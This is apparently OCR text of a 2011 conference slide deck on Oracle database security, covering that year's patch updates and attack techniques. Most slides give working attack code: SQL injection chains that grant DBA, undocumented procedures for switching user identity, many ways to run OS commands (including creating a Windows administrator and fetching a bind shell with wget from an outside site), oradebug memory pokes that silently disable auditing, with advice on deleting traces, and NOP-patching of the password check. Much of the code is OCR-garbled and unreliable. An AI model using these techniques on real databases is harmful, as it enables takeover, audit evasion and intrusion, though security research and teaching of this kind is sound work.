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Oracle Critical Patch Updates

January 2011 CPU (5 Vulnerabilities - 1 remote)
April 2011 CPU (6 Vulnerabilities — 2 remote)
July 2011 CPU (13 Vulnerabilities — 2 remote)
October 2011 CPU (5 Vulnerabilities — 0 remote)



January 2011 CPU*

Database Vault
Oracle Spatial

Scheduler Agent

* http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html



Privilege Escalation Oracle Spatial -

B create or replace function fn2 return int authid current user is
pragma autonomous transaction; -
BEGIN -
execute immediate 'create or replace trigger
"SYSTEM".the trigger?2
before insert on system.OLS$ for each row BEGIN SCOTT.Z();
dbms output.put line(''aa'');end ;';
return 1; -
END;

than scott makes this function executable by public:
B grant execute on scott.fn?2 to public;

now since scott has execute any procedure privilege, he injects the function
created above and make mdsys create a frigger in “system” schema:

® Exec mdsys.reset inprog index('aa'' and scott.fn2()=1 and
lllll:llll’lbbbbbl);

Since, public has insert privileges on system.OL$, he does:

® insert into system.OL$ (OL NAME) VALUES ('JOB Done');



April 2011 CPU*

Warehouse Builder
Database Vault

Network

* http://www.oracle.com/technetwork/topics/security/cpuapr2011-301950.html



July 2011 CPU*

Core RDBMS
XML Developer Kit
DB Vault

* http://www.oracle.com/technetwork/topics/security/cpujuly2011-313328.html



October 2011 CPU*

Oracle Text - Privilege Escalation

APEX 3.2/4.0 — Privilege Escalation (Upgrade to
APEX 4.1)

Bypass Database Vault via OC|

* http://www.oracle.com/technetwork/topics/security/cpuoct2011-330135.html




Bypass Database Vault -

m |n database vault environments the user SYS is normally not
allowed to change user password

B sglplus "/ as sysdba"

SQL> alter user outln identified by outln;,

alter user outln identified by outln
*

ERROR at line 1:
ORA-01031: insufficient privileges

SQL> password outln
Changing password for outln
New password:

Retype new password:
Password changed



Changing User |[dentity

The following undocumented procedure allows to
change user identities
(requires BECOME USER)

exec sys.kuppsproc.change user (‘'HR') ;

Oracle already fixed the problemin 11.1.0.7 and
11.2

,ORA-31625: Schema HR ist erforderlich, um
dieses Objekt zu importieren, auf das
Schema kann jedoch nicht zugegriffen
werden"

During the DOAG Expert Seminar “Oracle Security”
we found 2 ways to bypass this limitation



Changing User Identity |

B SQL> create or replace PROCEDURE
CHANGE USER INT (USERNAME IN VARCHARZ,
MP ENABLED IN BINARY INTEGER) IS
EXTERNAL N
NAME "kuppchus"

LANGUAGE C

LIBRARY KUPP PROC LIB

WITH CONTEXT N

PARAMETERS ( CONTEXT,

USERNAME STRING, USERNAME INDICATOR SB2,
MP ENABLED SB4

) ;

/

® SQL> exec CHANGE USER INT ( '"OUTLN', 0) ;
PL/SQL procedure successfully completed.

Idea by Alexander Kornbrust



Changing User Identity ||

select sys.kuppSproc.disable multiprocess
from dual;

exec sys.kupp$proc.change user ('SYS');

Idea by Volker Solinus



New dangerous Package

DBMS_XMLQUERY (granted to public)



DBMS_XMLQUERY

Run PL/SQL blocks

select dbms xmlquery.newcontext ('declare
PRAGMA AUTONOMOUS TRANSACTION; begin execute

immediate '' begin
sys.vulnproc(''''a''''"''"'||sys.kupp
$proc.create master process(''''''''EXECUTE
IMMEDIATE '''''''''"'"'"1'" ' " 'DECLARE PRAGMA
AUTONOMOUS TRANSACTION; BEGIN EXECUTE
IMMEDIATE
rrrrrrirrrrrrirrrrrrrirrrr v it 'GRANT DBA TO
scoTT'''rrrrrrrrrrrrnnrrrrrn b tnrvry ity END;
rrrrrrrnnnnnrrnng )ttt tatt i) Jen

d;''; commit; end;') from dual

First seen at David Lichtfield's Defcon 2011 Presentation



DBMS_XMLQUERY

http://host/index.jsp?id=1 and (select

dbms xmlquery.newcontext ('declare PRAGMA
AUTONOMOUS TRANSACTION; begin execute
immediate ''DECLARE D NUMBER;BEGIN D :=
DBMS SQL.OPEN CURSOR;

DBMS SQL.PARSE (D, ''''declare pragma
autonomous transaction; begin execute
immediate '"''''"'''grant dba to
scott''"'""'""""'";commit;end;"'"'"'",
0),SYS.LT.CREATEWORKSPACE (''"'a""""""'""'"" and
dbms sgl.execute('""''/||
D|I|"""")=1--"),;SYS.LT.COMPRESSWORKSPACETREE
("trrtatttrttttoand dbms sgl.execute(''''||
DI|"'"""")=1-=-""""),;end;"'""'; commit; end;")
from dual) 1is not null --



oradebug

Presentation @ Hackfivity 2011
Run OS Commands

Disable Oracle Auditing

Disable Oracle SYSDBA Auditing

Overwrite Password Check

http://soonerorlater.hu/download/hacktivity_It_2011_en.pdf



Oradebug - Run OS Commands

Run OS Commands (Replace space with tab)

First shown by David Litchfield at Defcon 2011 in
Las Vegas

Not published in his presentation (“Always
make pictures of interesting presentations ;-)")
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Oradebug - Run OS Commands

Run OS Commands (Replace space with tab)
sqlplus sys/pw@dbserver as sysdba
SQL> oradebug setmypid

SQL> oradebug call system "/bin/touch -
£ /home/oracle/rds.txt"
Function returned 0

[oracle@oelb5:~] S1s rds.txt
rds. txt



Other ways to run OS commands

Extproc

Java
Dbms_scheduler
Dbms_java
Dbms_java_test
Oracle Text

Create table

PL/SQL Native |
PL/SQL Native |l

Alter system set events

Oradebug (already shown)



Extproc -

CREATE OR REPLACE LIBRARY exeq_shell AS 'C:\windows
\system32\msvcrt.dll';

CREATE OR REPLACE package oracmd
is procedure exec (cmdstring IN CHAR) ;

end oracmd;

/

CREATE OR REPLACE package body oracmd IS
procedure exec (cmdstring IN CHAR)

is external NAME "system"

library exec shell

LANGUAGE C;

end oracmd;,

/

Create new Windows Administrator
exec oracmd.exec ('net user hacker nopassword /ADD') ;
exec oracmd.exec ('net localgroup /ADD Administrators hacker') ;



Java -

CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "R'" AS
import java.io.*;

public class Rf{

public static String Run (String C1){

tryl

Runtime.getRuntime () .exec (C1l) ;

return ("0"); }

catch (Exception e){

return (e.getMessage()); } } } /

Create Procedure to call Java

CREATE or REPLACE PROCEDURE PC(Command IN STRING) AS
LANGUAGE JAVA

NAME 'R.Run (java.lang.String) ‘; /

begin; pc('calc.exe'),; end;,



Dbms_scheduler B

--Create a Program for dbms scheduler

exec

DBMS SCHEDULER.create program('DOAG2011'", "EXECUTABLE'
,'c:\ WINDOWS\system32\cmd.exe /c echo Owned >> c:
\rds3.txt',0, TRUE) ;

--Create, execute and delete a Job for dbms scheduler
exec DBMS SCHEDULER.create job (job name =>
'RDS2008J0B' ,program name => 'DOAG2011',start date =>
NULL, repeat interval => NULL,end date => NULL,enabled
=> TRUE,auto drop => TRUE);

——delete the program
exec DBMS SCHEDULER.drop program(PROGRAM NAME =>
‘DOAG2011") ;



Dbbms_java

B SELECT * from dual where
chr (42)=dbms java.runjava (’oracle/aurora/util/
Wrapper
c:\\windows\ \system32\\cmd.exe /c dir>c:\
\file createdl’);

B SELECT * from dual where
chr(42)=DBMS_JAVA.RUNJAVA('oracle/aurora/util/
Wrapper /bin/touch /tmp/file created2');



Dbbms_java_test -

Select dbms java test.funcall('oracle/aurora/util/
Wrapper', 'main', '/oracle/10g/bin/sqglplus', '/ as
sysdba', 'Q@http://www.orasploit.com/becomedba.sql')
from dual;



Oracle Text -

create table t (id number (9) primary key, text varchar2(2000));
begin ctxsys.ctx ddl.drop preference ('USER FILTER PREF'); end; /

Begin ctxsys.ctx ddl.create preference (
preference name => 'USER FILTER PREF‘,object name =>
'"USER FILTER' );

ctxsys.ctx ddl.set attribute
('USER FILTER PREF', 'COMMAND', 'oratclsh.exe'); end; /

begin

insert into t wvalues (1,'

set £ [open "C:/AHT.txt" {RDWR CREAT}]
puts $f "Your System is not protected!"
close S$f

set £ [open [lindex $argv 0] {RDWR CREAT}]
puts $f "SUCCESS"

close $f

")

end;

/

create index user filter idx on t ( text ) indextype 1s

ctxsys.context
parameters ('FILTER USER FILTER PREF');



Create table -

create or replace directory exec dir as 'C:\WINDOWS
\system32';

create or replace directory load dir as 'C:\TOOLS';
create or replace directory log dir as 'C:\TOOLS';

CREATE TABLE ADDRESS ( "NAME'" VARCHARZ (60))
ORGANIZATION EXTERNAL (

TYPE oracle loader DEFAULT DIRECTORY load dir
ACCESS PARAMETERS ( B
RECORDS DELIMITED BY NEWLINE

PREPROCESSOR exec dir:'unzip.sh'

BADFILE log dir: 'address.bad'

LOGFILE load dir: 'address.log'

FIELDS TERMINATED BY '|'

MISSING FIELD VALUES ARE NULL (

"NAME " ) )

LOCATION ('address.txt.gz'))

REJECT LIMIT UNLIMITED;

select count (*) from ADDRESS;,



PL/SQL Native | (9i) B

alter system set plsqgl native library dir='/tmp';
alter system set

plsgl native make file name='makefile';

alter session set plsgl compiler flags='NATIVE';
alter system set plsqgl native make utility='/usr/bin/
wget http://www.orasploit.com/shells/bindshelll.c’;
Create or replace procedure hl as begin

null;

end;,

/



PL/SQL Native Il (10g+) B

create directory T as 'C:\ORACLE\ORA102\PLSQL';,

DECLARE

v file UTL FILE.FILE TYPE,;

BEGIN - -

begin

utl file.Fcopy ('T'", "spnc commands','T','spnc commands2') ;
end;

v file := UTL FILE.FOPEN('T', 'spnc commands', 'w');,

UTL FILE.PUT LINE(v file, 'cmd.exe /c echo sc config "TlntSvr"
start= auto > c:\open.cmd') ;

UTL FILE.PUT LINE(v file,'cmd.exe /c call c:\open.cmd') ;
UTL FILE.FCLOSE (v file) ;

END,; N

/

—-— start the command file we created before
alter session set plsqgl compiler flags='NATIVE';
alter system set plsqgl native library dir='C:\';
create or replace procedure hl as begin

nully;

end;,

/



Alfer system set events

S cat > /tmp/debug.sh
/bin/echo Hello World! S§*
S chmod u+x /tmp/debug.sh

SQL> alter system set " oradbg pathname"='/tmp/
debug.sh';,
System altered.

SQL> alter system set events 'logon debug forever';,
S sqglplus "/ as sysdba'"

SQL*Plus: Release 10.1.0.3.0 - Production on Sun Mar 6
09:41:59 2005

Copyright (c) 1982, 2004, Oracle. All rights
reserved.

Hello World! 28826

Connected to:

Oracle Database 10g Enterprise Edition Release
10.1.0.3.0 - Production

With the Partitioning and Data Mining options



Oradebug - Disable Auditing

By directly modifying the memory cell using
oradebug

No enftry in the Audit-Trail

Only a trace file is generated which can easily
removed (oradebug call system "del c:\app
\pete\diag\rdbms\orallgr2\orallgr2\trace
\orallgr2 ora 3412.trc")

After abuse it can be activated again to avoid
empty logs



Disable Oracle Auditing

SQL> select fsv.KSMFSNAM, sga.*

from xSksmfsv fsv, x$ksmmem sga

where sga.addr=fsv.KSMFSADR

and fsv.ksmfsnam like 'sgaflg SGAFDBA ';

KSMFSNAM ADDR INDX INST ID KSMMMVAL

sgaflg SGAFDBA 0000000060041BBO 33654 1 0O
SQL> show parameter audit;

NAME TYPE VALUE

audit file dest string /u0l/app/oracle/admin/PSALES/adump
audit sys operations boolean TRUE

audit syslog level string

audit trail string DB, EXTENDED

SQL> oradebug poke 0x60041BBO 2 O

SQL> select fsv.KSMFSNAM, sga.*
from xSksmfsv fsv, x$ksmmem sga
where sga.addr=fsv.KSMFSADR

and fsv.ksmfsnam like 'kzaflg $';

KSMFSNAM ADDR INDX INST ID KSMMMVAL

sgaflg SGAFDBA 0000000000041BBO 33654 1 00



Oradebug - Disable SYSDBA
Auditing

By directly modifying the memory cell using
oradebug

No enftry in the Audit-Trail or SYSDBA Trail

Only a trace file is generated which can easily
removed (oradebug call system "del c:\app
\pete\diag\rdbms\orallgr2\orallgr2\trace
\orallgr2 ora 3412.trc")

After abuse it can be activated again to avoid
empty logs



Demonstrafion



Disable Oracle SYSDBA Audifing

SQL> select fsv.KSMFSNAM, sga.*
from xSksmfsv fsv, x$ksmmem sga
where sga.addr=fsv.KSMFSADR

and fsv.ksmfsnam like 'kzaflg $';

KSMFSNAM ADDR INDX INST ID KSMMMVAL

kzaflg 0000000060031BBO 26652 1 0000000000000001
SQL> show parameter audit;

NAME TYPE VALUE

audit file dest string /u0l/app/oracle/admin/PSALES/adump
audit sys operations boolean TRUE

audit syslog level string

audit trail string DB, EXTENDED

SQL> oradebug poke 0x60031bb0 1 O
BEFORE: [060031BB0O, 060031BB4) = 00000001
AFTER: [060031BBO, 060031BB4) = 00000000

SQL> select fsv.KSMFSNAM, sga.*
from xSksmfsv fsv, x$ksmmem sga
where sga.addr=fsv.KSMFSADR

and fsv.ksmfsnam like 'kzaflg $';

KSMFSNAM ADDR INDX INST ID KSMMMVAL

kzaflg 0000000060031BBO 26652 1 00



Mitigation
Use a 39-party-Audifing solution instead of

Oracle Auditing / Oracle Audit Vault

Unsupported*. Patch the Oracle executable by
replacing the ksdxen() function with a dummy
function

Monitor the creation of trace files**

* http://blogs.conus.info/node/é6
** http://soonerorlater.nu/download/hacktivity_It_2011_en.pdf



Oradebug — Overwrite Password
Check

After connecting to an Oracle database,
Oracle verifies if the password is correct or not.

This routine is located in the memory of the
database and can be overwritten with NOP
(No Operation — Hex 90) commands



Offset: |@$scopeip

" Previous | Nex |

00000000°01=10d42 4d8bla

000000007 01210d45 4d8ba3104d0000

00000000" 01el0dd4c 4cB9642428
00000000 " 01e10d51 4889£9
00000000 01=e10d54 4cB9£2
00000000° 01210d57 ~eL=20Sb0s00

00000000° 011045 85c0 |

________ “01el0d5e

00000000° 01el0ded d88E8CZ4e00U0U00 mov

00000000" 01el0d6e eB8bff7fc04
00000000 01e10471 bBOBOOOOOO

00000000°01e10d76 4881c4e8000000

000000007 01el10d7d Se
00000000 01el0d7e S5f
00000000° 01el0d7f 415c

call
nov

add
POP
pop
pop

rll, gvord ptr [rl10]

rl2.qword ptr [r11+4D10h]

quword ptr [rsp+28h].rl12

rcx, rdi

rdxz, rld

ORACLE+0x1af693c (00000000 ' 01ef693c)
S3X, eax

QRACLE+0x1al11727 (00000000°01e11727)
rcx,qword ptr [rsp+0EOh]

ORACLE! jojniGetTenCtxSize+0x111de (00000000 06de=0530)
eax, 8

r=p, 0E8h

rsi

rdi

rl2

ILn 0, Col 0 | Sys 0:<Local> |Proc 000:a90 |Thrd 030:a38 |45V |Ove [Caps [num

Disassembly
Offset: |@Sscopeip | Previous l Next l

00000000 01el0d4c 4cB89642428
00000000 01e10d51 488919
00000000 01e10d54 4c89f2
00000000 01e10d57,
00000000 01el10dSg
00000000 01el10dSd

0oo000000"
00000000 01e10d60
00000000 01el0d6]]
00000000 01el10d62
00000000 01e10d63
00000000 01el10d64 AEEEE

00000000 0D1el0déc eBbff?chd

00000000°01210d45 4d8ba3104d0000

r12, qword ptr [rll1+4D10h]

gword ptr [rsp+28h].rl2

rcx, rdi

rdx,rl4

ORACLE+0x1af693c (00000000'01ef693c)

rcx,gword ptr [rsp+0E0Oh]
ORACLE!joiniGetTenCtxSize+0xlllde (00000000 06de0S30)

|Ln 0, Col 0 |Sys 0:<Local> |Proc 000:a2¢ |Thrd 032:908 |AsM |OVR [CAPS [NUM

Screenshots from http://soonerorlater.nu/download/hacktivity_It_2011_en.pdf




Overwrite Password Check -

oradebug setmypid

oradebug call malloc 20

oradebug call VirtualProtect 0x01lel0Odbe 6 0x40 0xc3b79f0
oradebug poke 0x01el0d5c 4 0x90909090

oradebug poke 0x01elOdo0 4 0x90909090

cd c:\svn\oracle\ethicalhack20ll\instantclient 11 2\
sglplus system/Test1234@192.168.56.30/0orcl

sqlplus system/Test@192.168.56.30/orcl



Ofther security related findings in
2011

Datapump gives wrong privileges

Security Bugs from 11.2.0.3



Database Pump gives wrong
privileges
All versions of Oracle 10.2 and 11.2 (including

11.2.0.3) are affected

In some cases Oracle grants “with grant
option” to users without this option

Review your privileges after import

http://freekdhooge.wordpress.com/2011/11/02/datapump-gives-wrong-privileges/?
utm_source=dlvr.it&utm_medium=twitter&utm_campaign=Feed%3A+orana+%280raNA%29



2 November 2011 -

datapump gives wrong privileges
Filed under: bugs,upgrades / migrations — dhoogfr @ 20:58

Tags: datapump, exp, expdp, imp, impdp

When performing an export / import using datapump or with the legacy exp
/ imp utilities, a bug can cause wrong privileges to be granted to users.
The circumstances under which the bug occurs seems to be that a privilege
is given on one user with grant option and on a second user (or role)
without grant option and that the object must be a schema procedural
object (job, program, schedule, ...).

I could reproduce this issue on 10.2.0.4, 11.2.0.2 and 11.2.0.3, so changes
are that all versions since 10.2 (or even 10.1) are affected.

221 0 SQL> @reproduce.sql
202  SQL> set feedback on
203 SQL> set linesize 120
SQL> set pages 99399
SQL> set trimspool on
SQL>
SQL> select
2 banner
3 from



Security Bugs from 11.2.0.3

Bug 10431487 - ORA-28353 when using TDE in RAC
= Workaround: You could try using a shorter wallet password.

Bug 12349940 - Wrong Results with joins on local encrypted table
over dblink

Bug 11846314 ORA-979 "not a group” from GROUP BY with HAVING
and encrypted columns

Bug 10203630 - Wrong results with distributed query when using TDE
(Doc ID 10203630.8)

Bug 9438890 - DBMS_AUDIT_MGMT.CLEAN_AUDIT_TRAIL does not
work for AUDIT_TRAIL=0S with uppercase ORACLE_SID (Doc ID
9438890.8)

Bug 11818814 - ANSI join causes FGA audit record even though
audited column not referenced in the SQL



Outlook for 2012

m Database security will become more and more important
® Focus on application security instead of vendor security

m Company Trend
m Creation of baselines/policies
m Regular testing of baselines/policies

= Mitigation of problems which cannot be fixed easily (via Auditing/
Monitoring)



Thank you

m Contact:

Red-Database-Security GmbH
Bliesstr. 16
D-.66538 Neunkirchen

Germany



